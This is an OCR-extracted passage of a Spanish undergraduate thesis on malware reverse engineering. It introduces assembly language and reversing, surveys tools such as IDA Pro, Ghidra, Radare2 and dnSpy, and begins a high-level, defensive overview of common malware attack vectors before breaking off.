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RESUMEN

REVERSING Y ANALISIS DE UN MALWARE

La ciberseguridad es uno de los campos de la informdtica que mdas rdpido
avanza. Los ataques de malware, y la concienciaciéon sobre cémo defenderse de estas
amenazas, es algo que concierne a todo el mundo. Es por eso necesario acercarse al
funcionamiento de estos programas maliciosos y conocer desde dentro todo su

comportamiento para asi ser capaz de dar una solucion eficaz a estos problemas.

Este tfrabajo se centra la experimentacion, basdndose asi en realizar una
investigacion sobre el mundo de la ingenieria inversa en la ciberseguridad (reversing),
estudiando las técnicas relacionadas con este tema y sobre las herramientas usadas,
para asi obtener un conocimiento suficiente que finalice en una prueba de concepto

aplicando las técnicas de reversing y andlisis a un malware.
Palabras clave

Ingenieria inversa, reversing, ciberseguridad, malware, ransomware.
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ABSTRACT

REVERSING AND ANALYSIS OF A MALWARE

Cybersecurity is one of the fastest advancing fields of computing. Malware
aftacks, and awareness of how to defend against these threats, is something that
concerns everyone. It is therefore necessary to get closer to the behaviour of these
malicious programs and to know from the inside how they behave in order to be able to

provide an effective solution to these problems.

This work focuses on experimentation, thus basing research on the world of reverse
engineering in cybersecurity (reversing), studying the techniques related to this topic and
the tools used, in order to obtain sufficient knowledge to end up in a proof of concept

by applying reversing and analysis techniques to a malware.
Keywords

Reverse engineering, reversing, cybersecurity, malware, ransomware.
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Capitulo 1 - Infroduccidn

1.1 Motivacion

La ciberseguridad es un tema que cada vez toma mds importancia en nuestra
sociedad. Con el aumento del uso de la tecnologia también aumenta la cantidad de

riesgos cibernéticos que pueden afectar tanto a individuos como a empresas.

Una de las técnicas utilizadas para combatir estas amenazas es la ingenieria
inversa aplicada a la ciberseguridad o reversing. El reversing se refiere al estudio de un
coddigo malicioso para asi conocer e identificar las vulnerabilidades utilizadas para

infectar un sistema.

El reversing es uno de los campos de la ciberseguridad que menos se tratan al

iniciarse en ella lo que supone un nivel de complejidad adicional en esta rama.

1.2 Objetivos

Este trabajo de fin de grado tiene como objetivos comprender el funcionamiento
del malware, para asi poder readlizar un proceso de ingenieria inversa en software,
especificamente en la parte de ciberseguridad, mds comiunmente llamada reversing, y

que sirva como entrenamiento para iniciarse en el mundo de la ingenieria inversa.

Para ello el trabajo se centrard en la experimentacion que conllevard hacer un
andlisis técnico que ejecute las técnicas investigadas desarrollando entonces una
prueba de concepto que se ejecutard en un entorno controlado que permita

comprobar el funcionamiento del malware.



1.3 Plan de trabajo

Las diferentes fases del proyecto y el tiempo empleado en cada una de ellas se

pueden ver de forma resumida en el siguiente diagrama de Gantt:

TIEMPO DE DURACION

ACTIVIDAD FEBRERO

MARZO JULIO [ AGOSTO

112|13|4|1|2|3|4|1(2(3|4|1(2|3|4]|1(2|3|4|1|2|3(4|1|2|3|4|1|2 |3 |4

Planteamiento Inicial

Investigacion

Desarrollo

Experimentacion

Elaboracion de la
memoria del TFG

Tabla 1. Diagrama de Gantt del plan de trabajo

A continuacién, se describen de formas resumida las diferentes fases del plan de

trabajo:

Planteamiento inicial: Durante esta primera fase, se definid el objetivo principal
del frabajo de fin de grado, y se hizo una estimacion de los recursos y tiempos estimados

para su desarrollo.

Investigacion: En esta segunda fase, se realizd una busqueda de la informaciéon
con relacion al lenguaje ensamblador y la ingenieria inversa, especialmente
determinando las herramientas que se podian utilizar y obteniendo varios materiales que

podian resultar de utilidad encontrados en diversas fuentes.

Desarrollo: La parte de desarrollo se cenfré en hacer uso de esos materiales e
iniciar una fase de aprendizaje en ingenieria inversa sin estar centrada totalmente en la

ciberseguridad.

Experimentacién: Esta Ultima fase antes de hacer la memoria del TFG consistid
en redlizar las técnicas obtenidas en las fases anteriores con escenarios de casos reales

de malware.




Elaboracion de la memoria del TFG: Por Ultimo, se elabord la memoria del tfrabajo

de acuerdo con la normativa de TFG y con las indicaciones de los directores del mismo.

A pesar de que los tiempos son los que aparecen en el diagrama de Ganft,
podemos considerar que las fases de investigacion, desarrollo y experimentacion se han
mantenido en mayor o menor medida durante todo el desarrollo iterdndose

constantfemente.






Capitulo 2 - Estado de la cuestidon

Con el fin de tener una mejor comprension del estado de la cuestion en el dmbito
del reversing o ingenieria inversa, se comenzd con una busqueda al nivel de los trabajos
fin de estudios en los diferentes ciclos universitarios. Para ello, se realizé una busqueda
en las bases de datos que recogen tanto los trabajos fin de grado (TFG) o trabajos fin de

mdaster (TFM), como las tesis doctorales a nivel nacional.

En cuanto a los TFG y TFM, la consulta se realizd en la web Recolecta [1], la cual
es un portal creado por la Fundacién Espanola para la Ciencia y la Tecnologia (FECYT)
y la Red de Bibliotecas Universitarias (REBIUN) de la CRUE con el objetivo de crear una
infraestructura nacional de repositorios cientificos de acceso abierto. Utilizando como
término de buUsqueda la expresion 'ingenieria inversa”, se encontraron, incluyendo
duplicados, un fotal de 69 resultados, de los que sélo 7 eran de ingenieria inversa en
software (6 TFG y 1 TFM).

Con respecto a las tesis doctorales, la consulta se realizé en Teseo [2], que es |a
base de datos con la informacién de las tesis doctorales aportada por el conjunto de
las universidades espanolas desde el ano 1976. No se encontrd ninguna fesis con la
palabra “reversing” referida a ingenieria inversa. Y sélo aparecieron 4 tesis donde se

menciona el término “ingenieria inversa” pero referido a ingenieria inversa de hardware.

La busqueda se amplié a los articulos cientificos a nivel internacional, y para ello
se uftilizd el sitio web ScienceDirect [3], que permite consultar el texto completo de las
revistas cientificas que publica Elsevier, asi como capitulos de libros, procedentes de mdas
de 2.500 revistas con revision por pares y de mds de 11.000 libros. En este caso, utilizando
el termino de busqueda ‘“reverse engineering” y acotando la consulta al drea de

“Computer Science" aparecieron un total de 43492 resultados (a dia 28/08/2023).

Entre los articulos que ha devuelto la busqueda, es interesante destacar dos de

ellos por su contenido:

e A Systematical and longitudinal study of evasive behaviors in windows
malware [4]

¢ Malware analysis: Reverse engineering tools using santuko Linux [5]



El primero de ellos es especialmente interesante por la gran cantidad de técnicas
de evasion (92 tipos) que estudian en la publicaciéon, y que son empleadas por los
creadores de malware para ocultar la actividad maliciosa de su malware y dificultar el
andlisis de seguridad. Ademds, los autores de publicacion implementaron una
herramienta basada en DBI (Dynamic Binary Instrumentation) para analizar ejecutables
de Windows e identificar si emplean alguna de estas técnicas de evasion. La adopcion
de técnicas de evasion aumentd ligeramente con los anos y hoy en dia es habitual en
el malware moderno, y que los autores de malware actualizan sus técnicas para evadir
los sistemas de andlisis. Existe una elevada correlacion entre conjuntos de familias de

malware y técnicas de evasidén asociadas.

El segundo de los articulos estd enfocado en el andlisis de malware para moviles,
pero tiene relevancia debido a que el malware para moviles estd aumentando en
numero y en grado de sofisticacion. El malware maévil se analiza con las herramientas de
ingenieria inversa disponibles en el mercado, y en el articulo se describe el ciclo
completo de ingenieria inversa para un malware movil desde el archivo apk hasta el
codigo java. Es interesante que el cédigo del malware obtenido mediante ingenieria
inversa puede ensamblarse de nuevo para probarlo en posteriores andlisis de malware

y explorar de diferentes anti-malwares disponibles para aplicaciones moviles.

2.1 ;Qué hay que conocer?

Como ya se ha explicado anteriormente en este documento, el objetivo inicial
del trabajo es el poder aplicar técnicas de reversing a distintas muestras de malware,
para lo que se necesita tener previomente unos conocimientos bdsicos de
programacion y del lenguagje ensamblador, que posteriormente se usard para el

proceso de ingenieria inversa.

Para ello, se redlizard una breve introduccion de lo que es el lenguaje
ensamblador y la ingenieria inversa ademds de introducir algunas de las herramientas

mds utilizadas en este campo.



2.1.1 ;Qué es el lenguaje ensamblador?

“El lenguaje ensamblador es un lenguaje de bajo nivel, se compone de una serie
de insfrucciones basicas para los microprocesadores. Este lenguaje no necesita un

Framework para poder ejecutar los programas realizados con él.” [6]

2.1.2 Fundamentos del ensamblador en relacién con el lenguaje maquina

y el de alto nivel

El lenguaje maquina [7] es el Unico lenguaje que el ordenador puede entender
directamente. A pesar de permitir realizar programas muy eficientes y conseguir fiempos
de ejecucion y ocupacion de memoria optimos, su estructura es muy complicada lo

que requiere un profundo conocimiento de la arquitectura del ordenador.

Tras este tenemos al lenguaje ensamblador, que constituye el primer intento de
sustituciéon del lenguaje maquina por uno mds cercano al que utilizamos los humanos.
No obstante, presenta algunos inconvenientes, como su todavia alta complejidad, dificil

mantenimiento y ausencia de estructuras de datos abstractos.

Finalmente nos encontramos con los lenguajes de alto nivel que proporcionan
una mayor facilidad para el frabajo del programador. A pesar de eso, requieren de unos
compiladores o intérpretes que fraduzcan el programa para que el ordenador lo pueda

entender. Podemos verlo en la Figura 1 [8]:

00 and Visual Language

e N

High-Level Language

Assembly Language

Machine Language

Figura 1. Jerarquia de lenguajes de programacion



Asi pues, en este frabajo nos centraremos en el lenguaje ensamblador que es el
que nos permitird entender los binarios que analizaremos haciendo uso de
desensambladores ademds de servirnos de decompiladores que nos permitan obtener

un pseudo codigo de alto nivel.

Para obtener unos amplios conocimientos en esta parte es interesante hacer uso

del libro “Reverse Engineering for Beginners” [9].

2.1.3 ;Qué es la ingenieria inversa o reversing?

“La ingenieria inversa no es mds que el arte de analizar algo y poder entender su

funcionamiento para luego poder reproducirlo o mejorarlo.” [6]

También se ha definido como “el proceso de analizar un sistema para identificar
sus componentes y sus interrelaciones y crear representaciones del sistema de ofra

forma o a un nivel superior de abstraccion.” [10]

Podriamos decir que la ingenieria inversa es tomar bits y bytes y averiguar que
representan, cémo y por qué. Normalmente para el cédigo informdatico esto se hace
mediante el proceso de invertir funciones a partir de cdédigo ensamblador para
hacernos una idea de lo que hace en un lenguaje a mds alto nivel. Para esto debemos

usar el método cientifico de formular hipdtesis y ponerlas a prueba.

Para los bytes que representan datos debemos comprobar que tipos de datos
son, su tamano y su propdsito (Por ejemplo, si son enteros, flotantes o una cadena de
caracteres; Si el valor es para un nombre o de cuantos bytes es). Para los bytes que
representan coédigo encontramos mdas dificultades, debemos comprobar que

instruccion es, sus argumentos, en que arquitectura y CPU se ejecuta, etc.

Por suerte contamos con herramientas que hacen muchas de estas

averiguaciones por Nosotros.



2.2 Herramientas utilizadas en el reversing

Vamos a hablar brevemente de algunas de las herramientas de las que nos

podemos servir a la hora de realizar ingenieria inversa o reversing.
Las herramientas mds simples que podemos utilizar son:

Comando string: Uno de los comandos mds sencillos que encontramos es el
comando string, que busca cadenas imprimibles en un fichero. Esto nos permite

encontrar rdpidamente algunas palabras que puedan resultar claves.

Comando ltrace: Se utiliza para mostrar todas las llamadas a una biblioteca que

un programa en particular estd haciendo mientras se estd ejecutando.

Sin embargo, la mayor parte de las veces se utilizardn ofras aplicaciones que sean
capaces de darnos mucha mds informacion que la que nos dan estos comandos

ademds de obtenerla de una forma mds legible. Algunas de ellas son:

2.2.1 HxD'

Es un editor hexadecimal gratuito desarrollado para Windows. Su caracteristica
destacable es su sencillez lo que lo hace una opcidn mds atractiva para un primer
vistazo en comparacién a las super aplicaciones con multiples funciones, a la vez que
ofrece una vista general con suficiente informacién que mejora al uso de una

herramienta de terminal (Figura 2).

I https://mh-nexus.de/en/hxd/



3 ShellcodeNTHeaderslexe Editores especues

Inspectar de datos

L}

OLETM
FLETME
005 date

Base hexadecimal (psra

Sobreescribe

Figura 2. Editor HxD

2.2.2 Detect It Easy?

Esta aplicacidon permite para determinar tipos de archivos, siendo

multiplataforma, lo que nos permite usarla en Windows, Linux y MacOS (Figura 3).

Detect It Easy v3.07 [Ubuntu 22.04.1 LTS] (x86_64) o %
File name
z _2.42/clear32.exe
File type File size Base address Entry point T A sanced
PE32 - 21350Ki8 00400000 00466001
Demangle
Fileinfo | 'Memorymap  Disasm Hex Strings | Signatures | VirusTotal
MIME search Hash Entropy | Extractor

PE Import | Resources
Sections Time date stamp Size of image Resources

0010 > 2017-092713:54:52 | 0008c000 Version
scan Endianness  Mode Architecture Type
Automatic - LE 32-bit 1386 cul
- PE32

Packer: ASPack(2.12-2.42)[-]

compller: MinGW(-)[-] H Shortcuts

Linker: GNU linker |d (GNU Binutils)(2.28)[GU132] s Options.
Signatures v Recursive scan Vv Deepscan  Heuristicscan v Verbose About

Scan

oirectory | [[IEEEEN > oo Alltypes 91 msec Exit

Figura 3. Detect It Easy

A continuacién, se relacionan algunas de las mejores herramientas que dan

servicio como por ejemplo desensamblador, descompilador, vista de strings,
hexadecimal, depurador.

2 https://github.com/horsicq/Detect-It-Easy
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2.2.3 IDA Pro3

Interactive Data Assembler, mds conocido como IDA Pro (Figura 4) es una de las
herramientas de reversing mds usadas. No solo sirve como desensamblador y
descompilador, sino que también es capaz de depurar. Su objetivo es simplificar al
maximo el proceso de ingenieria inversa y es sin duda la herramienta que mds destaca
en ello. No solo analizando software para expertos en ciberseguridad, sino que también

es muy usada por los hackers de videojuegos.

W 0 - imes
£

Ele B )
SH -

Figura 4. IDA Pro

IDA da soporte a multiples arquitecturas, x86, x64, ARM, entre ofras. Este amplo
soporte extiende sus capacidades de desensamblaje a diferentes tipos de ejecutables

como Linux ELF, Unix COFF, Windows PE, etc.

Con el plugin Hex Ray's Decompiler, que da un pseudo C de alta calidad facilita
altfamente el entendimiento del cddigo. Es posible consultar las cross references,
instrucciones que acceden a la variable que se estd consultando. También dispone de

una funcién para renombrar variables que se actualizardn por todo el cddigo (Figura 5).

3 https://hex-rays.com/ida-pro/
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R — % sub_4@@7@@ proc near

mov cax, offset byte 601878
ush  rb
Address: 0x400700 zub rag. offset byte_601878
fee . sar rax, 3
- mov rbp, rsp
mov rdx, rax
(B she rdx, 3Fh
add rax, rdx
18 indude in name list sar rax, 1
(1 Public name 3nz short loc_480724

[ Autogenerated name

[ weak name

[l Create name anyway

loc_400724:

edx, @
rdx, rdx
short loc_488722

h 4
il e = il =t =
pop rbp
loc_488722: mov rsi, rax
pop rbp mov edi, offset byte 681878
retn jmp rdx
sub_48876@ endp

Figura 5. IDA Pro

2.2.4 Ghidra*4

Es un conjunto de herramientas de ingenieria inversa de coédigo abierto
desarrollado por la NSA. Estd escrita en Java y es un software muy versdtily competente
gue nos sirve de navaja suiza. No es la mejor opcién para la mayoria de las tareas, pero
puede hacer mucho en un solo lugar. Su mayor ventaja es que su descompilador (Figura
6) es uno de los mejores que podemos enconfrar en comparacion a otros gratuitos

como por ejemplo Snowman.

4 https://ghidra-sre.org/
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Ein Edk Anabin Haagaiion Search Salect Tocis Hindow diek

H e = BRBFER JIBULFITR: @@ oo /OSRGA00® an
O B R W :

[iscs=]
% Tt
Q0262248 48 39 L
ab
0026224h 48 69 wov
df
00262248 75 10 INZ LAB_00262240
LAB_pozs2250

+| BO2EIISE 49 B3
bd &8

[
00262258 0f B4 1z

af oo

00 oo

00262264 0f 11

40 00

NP geord ptr [0x589 +

EREF[1],.0026223d(j)
1,020

LAE_002622ed

=

o B gD e-o- @x

00262240 MOV v
G026224e JNZLAB_DD262240

FEa=IE |
LAB_DO262250

40262250 CHF qward ptr [Ox300.

80263258 1T LAB_ amzznu

wnﬁzzalm .
BE26226L XA, |
DD262264 NOP dword ptr [ ]

[Ba2uzIn L@ oaze336a Cili=]
LAB_00262268
00262268 MOV |, quord

0026226 TE-. .
B026226T 17 LAB_DDZ62.

Cidwil |

20 pl¥arl = (long *}*_ptr_a9;
21 freel__ptr_so);

22 ptr_00 = plvarl;

23 } while (plvarl != pivard];
24 ¥

25 | if {_DAT_004besdd 1= @) {

L pl¥ard = & rtld_global;

27 pvars = 8;

= do {

29 Varz m *plvard;

30 uh)'le {1var2 1= 8) {

31 str = WiumEd 40P (Tama 8100 Veed 4 MeFEY 4 BY.
| % comcia

&

A pesar de sus inconvenientes,

alternativas totalmente gratuitas. Entre las caracteristicas que Ghidra puede ofrecer

enconframos:

|enzmaze rme_mam ¥OR A230R0 30 |

Figura 6. Ghidra

Ghidra es considerada la mejor entre las

e Desensamblador y descompilador (Figura 7)

e Depurador

e Vista en grdfico y mapa

e Vista de funciones, strings y simbolos

o Andlisis e identificacion de funciones

e Scripts y plugins
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“LiveWallpapersPider odex X

IEEA 1EE

X

..00019000
...00019004
...00019008
#-...0001900c

..00019018

2.2.5 Radare25

00
36
00
20
00
00
3a

00
id
00
00
20
00
00

undefined

undefined4

g .text:00019000 00 00
00 00
36 1d ..

00
00
00
00
80

00ddw
00ddw
00ddw

Quick...

XREF([4]: Entry Point(*),
0001007c(*),
00011018(*),

_elfSectionHeaders::00.

OatQuickMetho...

mapping_table_ offset_
vmap_table offset_
gc_map_offset_
frame_info_

code_size_

. text:0001901c ad f5

Figura 7.

sub.w

Ghidra

Es otro framework para ingenieria inversa de cddigo abierto que ofrece:

e Desensamblador (Figura 8)

e Depurador

e Comparacion de datos

e Andlisis

5 https://rada.re/n/
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3led Xor ,

4985d1 mov r%, rdx

S5e pop rsi

m%'ez mov rdx, rsp

48E3edfR and rsp, Bxffffffffffffrfffe

EX] rax

54 rsp

49c7c0dfledl. mov rg, Oxd4lledo

4Bc7cl6Bled4l. mov rcx, Bxd4llesd

4BcTcTcBO2B40. mov rdi, main ;| AWAVAUATUH..S5..H.... | Ox4B2B¢
eB3T7dc call sym.imp.__libc_start_main ;[1
libc_start_main{unk, unk)

f4

660F1F440000 [rax + rax]

Figura 8. Radare2

Es altamente personalizable y cuenta con una amplia compatibilidad con

complementos para diversas arquitecturas.

2.2.6 Cutter¢

Es un desensamblador, descompilador y depurador de cédigo abierto que hace
de frontend al proyecto Rizin (Un fork de Radare2). Es una mejora en cuanto a diseno
(Figura 9) de lo que es Radare2 aunque mantiene casi la misma funcionalidad. Cutter
recibe mucha mds atencion lo que implica mds contribuciones de la comunidad. De
este modo podriamos definirlo como un Binary Ninja FOSS. Algunas de las caracteristicas

que posee Cutter son:

e Desensamblador y descompilador
e Depurador
e Vistas en grdfico y texto

e Scripts y plugins

¢ https://cutter.re/
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File Edit

«

Functions

entry fini0
entry.init0
entry0

fcn 00002000
fcn.00002130
fen 00002200
fcn.00002630
fen.000026e0
fcn 00002710
fen.0000344e
fcn.000034e1
fen.0000355¢
fen.000035ce
fcn.00003b00
-_—_—

30 Items

Graph Overview

B

Windows

Debug  Help

T D

65
153

27
4
863
162
268
4876
3643
4630
4544
4544
6933

Graph (fen.0000400)

fcn 00004100 (int32_t argl);

ush rbp

x
w eloc
eax
1 qword [relo
25t eax, eax

mov rdi, rbx

xor esi,
mov  edx,

mov edi, eax

(IR Disassembly Dashboard  Hex

dump  Strings

4fee 128
30 (int32_t argl);
rgl

Imports

Searct

Figura 9. Cutter

Para los usuarios que prefieren un entorno grafico, Cutter es una excelente

alternativa aportando la potencia de Radare2 con una interfaz mds accesible haciendo

que las tareas de ingenieria inversa sean mds agradables (Figura 10).

Figura 10. Cutter
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2.2.7 Binary Ninja’

Se describe como un "descompilador, desensamblador y depurador interactivo”.
Es un producto comercial que cuenta con una licencia de estudiante. Lo que realmente
distingue a Binary Ninja de sus competidores es su interfaz grafica, es mucho mas limpia
y organizada que el resto de las opciones en el mercado (Figura 11). Ademds, posee

una comunidad activa lo que le permite tener un amplio ecosistema de plugins y scripfs.

=) impossible_password.bin — Binary Ninja Personal 3.4.4271 Personal
File Edit View Analysis Debugger Plugins Window Help

impossible_password.bin

@ Symbols = ELF+ Graphv Disassembly v

int32_t 1in(int32_t argc, char** argv, char** envp)

Cross References
» Filter (2)
~ Code References {2} ax, [rbp-8x2@ {var_28}]
si, rdx
e , rax {var_28}
—
Python Console

0x40085d @

Figura 11. Bynary Ninja

Uno de los puntos fuertes de Binary Ninja es su enfoque en la automatizacion, lo
que nos permite andlizar cédigo binario con muy poca intervencidon manual.
Combinando esto con su potente lenguaje intermedio (Figura 12) hace de Binary Ninja
una opcidn muy afractiva para los usuarios que buscan en la ingenieria inversa una

experiencia relativamente sencilla.

7 https://binary.ninja/
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| bin 4271 al

View Analysis Debugg Plugins Window Help

impossible_password.bin

= ELF~ Linear* Medium Level L v

int32_t main(int32_t argc, char** argv, char** envp)

0048085d int32_t main(int32_t argc, char** argv, char** envp)

0x40085d

Figura 12. Binary Ninja

2.2.8 Hopper?

Es un desensamblador y depurador comercial para Linux y MacOS. Estd
desarrollado por una sola persona lo que le hace carecer de algunas funcionalidades
esenciales ademds de no tener versidon para Windows. No obstante, la herramienta

cuenta con todas estas caracteristicas para ofrecer:

- Desensamblador y descompilador (Figura 13)
- Depurador
- Plugins y scripts

- Vistas en grdfico, de texto y hexadecimal (Figura 14)

8 hitps://www.hopperapp.com/
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FlashCode.hop

@
i 0000000100001d08 b . x00, 0x00, 0x00,
Strings ~ Bookmarks Seaseselasseran - » Format
Q Searct » Comment
; Section _text » Colors and Tags
» Tag Scope i Range: [0x100001dc0; 0x10002¢523[ (173923 bytes)
o i File offset : [7616; 181539( (173923 bytes) » Crass Referances
_mh_execute_header it o) v Procedure
i SATIR puRe_TnSTRUCTIONS 4 basic blocks
5ub_100001dfc: D S AR A BT void func() Edit
~{AppDelegate registrationPublicKey]
-[AppDelegate checkRegistrationLicen: { NG OF PROCEDURE == Calling Convention:
~{AppDelegate registrationName:]
-[AppDelegate registrationOrderiD:] EntryPoint: Call graph
push | 0x0 REF=0x1
0000000100001c2 mov rop, rsp Type  Callers
~{AppDelegate registrationName] 0000000100001dc5 and Fsp, OxTIFFFFFAFEreefo
s 0000000100001dc9 nov rd1, quord [ss: rbps8]
~[AppDelegate registrationOrderiD] 0600000100001dcd lea rsi, qword [ss:rbp+@x1e)
- i 0000000100001 nov edx, edi
{AppDelegate checkSavedRegistration] o o]
~{AppDelegate installLicenseDataAndC... sh edx;
i add rox, rsi
~[AppDelegate installLicenseAtPathAnd... 4 foidild e thod Cated
-{AppDelegate installLicenseAtPathAnd... o loc. 100001de5 e e
~{AppDelegate feedParametersForUpda. v o e
Yoc_18esy1de1: Direct 0x100001df6  imp_stubs._exit
-{AppDelegate registerObserverOnEntri 00000001000010e1 add rex, 08 i CODE XREF=EntryPoints41 mp_stubs_t
~{AppDelegate unregisterObserverOnEn... loc_100001de5:
E . 0000000100015 ap quord (ds:rcxl, 0x0 § CODE XREF=EntryPoints31
IAPPOslegate characterOfEstry:] 0000000100001de9 jne 1oc_100001de1
~[AppDelegate entryFromCharacter:] i e Tood Variables
<{AppDelegats obsmveValimFarkeyPath—. 00000001 catl sub100001dfc Displacement Name
-[AppDelegate dealloc] 0000000100001 74 oy edi, eax ; arquent "status” for method imp__ stubs_¢
: § . 000000010000146. call imp,_stubs_exit
~{AppDelegate switchToMainContentVie... i
~{AppDelegate init)
~{AppDelegate applicationWillFinishLau...
-{AppDelegate updater] ; smsmmmsmmmae==z BEGINNING OF PROCEDURE smmmmsmmmmmmsnss RBP based frame
~{AppDelegate applicationDidFinishLau... P LocalaGlze: |8
sub_100001dfc: :
-[AppDelegate launchUpdate:] 0000000100001 push rop 4 CODE XREF=EntryPoints47 Saved Hege: |0
~{AppDelegate setClassPrefix] 0000000100001 1d mov rbp, rsp Purged:
s 16 pop rop.
~[AppDelegate classPrefix] 0000000100001¢01 i imp__stubs_NSApplicationMain sP Offset:
¥ ;" endy
“[AppDelegate play:) 3 anayats et - sase
E g > analysis sect. Block
TAvpOslsgets setTargaiviiac > analysis sect’
~[AppDelegate targetindex] analysis sect Used: rsp
5 > analysis sect: =
~[AppDelegate setUseARC:] 3 amavysss sect Defined:  rcx rdx rsp rbp rsi rdi rip CPAZSO
> analysis section _bss
~{AppDelegate useARC] M.:Y"{, Segment_mWGOTT Killed:
- legate openSWFFileAtPath: Analysis segaent External Symbols
{AbpDelepste opiSWETSeAtPeL] Yaflow snatysis of procedupes in _TEXT Liveln: rsp
~{AppDelegate application:openfile:] in ZOATA i
< LINKEDIT Live Out:  rexrsy
-[AppDelegate dropView:receivedPath:] B it o .2
~[AppDelegate menuOpen:] d Avail In:
sub 100003336 h 1® W] avalout: [rex rax rsp rbp rsi i rip CPAZSO
Address. Segment _TEXT, EntryPoint + 0, Section _tex, file offset Ox1dcO

T —

ene

~(HTMLSCodeGenerator callDrawingOfS...
cfstring CGGradientRef_gradient_d__C...
~[HTMLSCodeGenerator callDrawingCodz.
~[ObjectiveCCodeGenerator callDrawing...
~[ObjectiveCCodeGenerator callDrawing...
~{ObjectiveCCodeGenerator callDrawing...
cfstring_void_drawButtonWithState_N...
cfstring__void_drawButtonWithState_N...
cfstring__void_drawButtonWithState_N...
cfstring_void_drawButtonWithState_N...
cfstring__void_drawStaticTextWithTrans...

Figura 13. Hopper

Loader: Mach-0
CPU: | intel/x86.64
g Calling Convention:  System V.
cfstring_NSGradient_gradient_d__N...
-[HTMLSCodeGenerator drawlinearGrad... YIbnrintion Ereo iy
~[SWFButton generatelnPlaceDrawingCo... 55
-{SWFFrame generatelnPlaceDrawingCo... = o
-{SWFFrame generatelnPlaceDrawingCo...
~{ObjectiveCCodeGenerator buildGradie... Typee i Entropy
~{ObijectiveCCodeGenerator draLinear... From: 0 cur. Pos.
~[ObjectiveCCodeGenerator drawRadial... 2 T
-(HTMLSCodeGenerator callDrawingCod..
Section  Segment  File

v File Information

Path: [Users/bsr/Desktop/FlashCode.app/

AcEi$....|.E..
«« [A\AJA®A_]. L. .H
[A\AJA™A_].....UH

+(H.M.H.u.

% # - 20904 8B 4D CB 44 3B A9 90 00 00 00 7D 75 49 8D 44 24 40 48 89 45 .M.D; UL.DSH.
clstring__void. drawStaticTetWihrans... 54410 cp 4q AR 45 (A 4C AR AR AR AR AR AR 4R A3 74 27 AR 4R M3 75 _H.F.L......Kct'.H.u
cfstring_self_drawStaticTextWithTransfo.. > analysis section __eh_frame
cfstring__void_drawStaticTextWithTrans.. Analysis segment __DATA

; ! > analysis section _program_vars
cfstring__void_drawStaticTextWithTrans... 5 analysis section _nl_symbol_ptr » Format
cfstring__void_drawFrame_int frame wi.. > nna{ysis section _Lat N v Comment

i > analysis section __la_symbol_ptr

cfstring_vold,_drawFrame_int framewls | Z o1V cis section —objc. classiist
cfstring__void_drawFrame_int frame wi.. > apalysis section _objc_nlclslist
cfstring__void_drawFrame_int_frame wi.. > anu{ysl.s section _objc_catu{t

¢ " > analysis section _objc_protolist
cfstring_void.drawCurentFrameWthTr.. - 5na19cis section —obic imageinfo
cfstring var_interval_new_Date__getTim.. o, e o @ 1] » Colors and Tags

Address 0x10001d2¢2, Segment __TEXT, -[DropView initWithCoder:] + 0, Section _text, file offset Ox1d2c2

Figura 14. Hopper
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2.2.9 dnSpy?

Es un gran editor de ensamblador y depurador para .NET. Cuenta con multiples
funcionalidades como poder editar y depurar en .NET y Unity, gracias a estos los
metadatos pueden ser editados y os posible llegar a crear o modificar funciones e
incluso cambiar valores durante el andlisis dindmico (Figura 15). Es por todo esto que
serd el editor elegido para llevar la mayor parte de la experimentacion sobre malware
hecho en .NET.

Program

[] args)

sb = new StringBuilder(args.Llength * 188);

H args)

sb.

3
Environment.Fai t(sb.ToString());

Name Value Type
@ args [0 all

P sh System. Text.StringBuilder
L
@ s

s Breakpoints ks A Natch 1 Call Stack Proc Maodules Threads Memaory 1 Output

Figura 15. dnSpy

? https://github.com/dnSpy/dnSpy
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Capitulo 3 - Técnicas malware

En este capitulo se van a tratar las técnicas malware mds comunes. Primero se
verdn las técnicas que tiene los atacantes para iniciar la infecciéon. Tras ello, se verdn los
procesos llevados a cabo por los profesionales de ciberseguridad para analizar esta
infeccion y las formas que tienen los ciberdelincuentes de contrarrestar estas mismas

acciones.

3.1 Vectores de ataque

La forma que utilizan los atacantes para comprometer un sistema con un

malware se denomina vector de ataque o vector de infeccion [11].

A continuacion, se verdn algunos de los vectores de ataque mds comunes segun

el Instituto Nacional de Ciberseguridad de Espana (INCIBE) [12].

3.1.1 Correo electrénico y mensajeria instantdnea

Es el vector de atagque mds importante de todos si se tiene en cuenta el nUmero
de casos. Se basa en el envio de correos electronicos o SMS que suplantan a
organizaciones conocidas por el receptor, como pueden ser nuestros proveedores y
clientes, bancos con los que trabajamos, empresas de paqgueteria, Hacienda, o nuestro
propio soporte técnico. El correo o mensaje recibido, nos redirija a enlaces a pdginas
web falsas donde se pedird que se introduzcan las credenciales de acceso o que se
descargue algun fichero malicioso que, en este caso, instalard algun tipo de malware,
que es frecuente de que se frate de algun tipo de ransomware, o en otros casos de
algun tipo de malware que convertird a nuestros dispositivos en esclavos que se utilizardn

con fines delictivos o poco éticos.

3.1.2 Navegacién web

El riesgo de este vector de ataque surge de la falta de actualizacion de los

navegadores utilizados o de la instalaciéon de plugins maliciosos, asi como por visitar
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pdaginas fraudulentas. Ante navegadores no actualizados, los ciberdelincuentes podrian

explotar vulnerabilidades con técnicas como:

e Drive-by download, que permite la descarga de malware sélo con visitar
una pdagina maliciosa o ver un correo htmil.
e Browser in the browser, que simula una ventana emergente de

autenticacion, donde se nos pedirdn las credenciales de acceso.

Los ciberdelincuentes suplantan webs legitimas copidndolas y poniéndoles
direcciones web similares con homaografos o enlaces que se parecen a las reales,

cambiando algun cardcter que a la vista no es facil distinguir.

3.1.3 Endpoints o terminales y otros dispositivos en los que no se han

configurado las opciones de seguridad

Las configuraciones de los fabricantes por defecto son, en muchos casos, poco
seguras. Por ejemplo, el uso de confrasenas débiles o el permitir que se conecten
dispositivos USB o discos extraibles, que podrian llevar malware. Otras veces son
configuraciones incompletas o insuficientes de las redes a las que pertenecen esos
dispositivos y que permiten el acceso a ellos y su posterior manipulacién. Un caso

particular son los dispositivos loT.

3.1.4 Aplicaciones web, portales corporativos, intranets y redes sociales
con configuraciones defectuosas o desactualizadas

Pueden suponer una via de entrada o bien una forma de dar informacién al

ciberdelincuente para posteriores ataques.

Por ejemplo, si contienen o se muestra demasiada informacién sobre la estructura
de la empresa, direcciones de correo o detalles de sus empleados podria ser utilizado
en ataques de spear phishing, que es el dirigido especificamente a una persona de la

gue previamente se ha recopilado informacion para hacerlo mds creible.
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Por otro lado, siuna organizacion u empresa dispone de una pdgina o aplicacion
web, ha de tener en cuenta la ciberseguridad en su diseno y en su mantenimiento para
evitar atagques como los de inyeccién SQL entre otros. Como veremos mds adelante, se
han de proteger las credenciales de acceso y los mecanismos de autenticaciéon, tanto

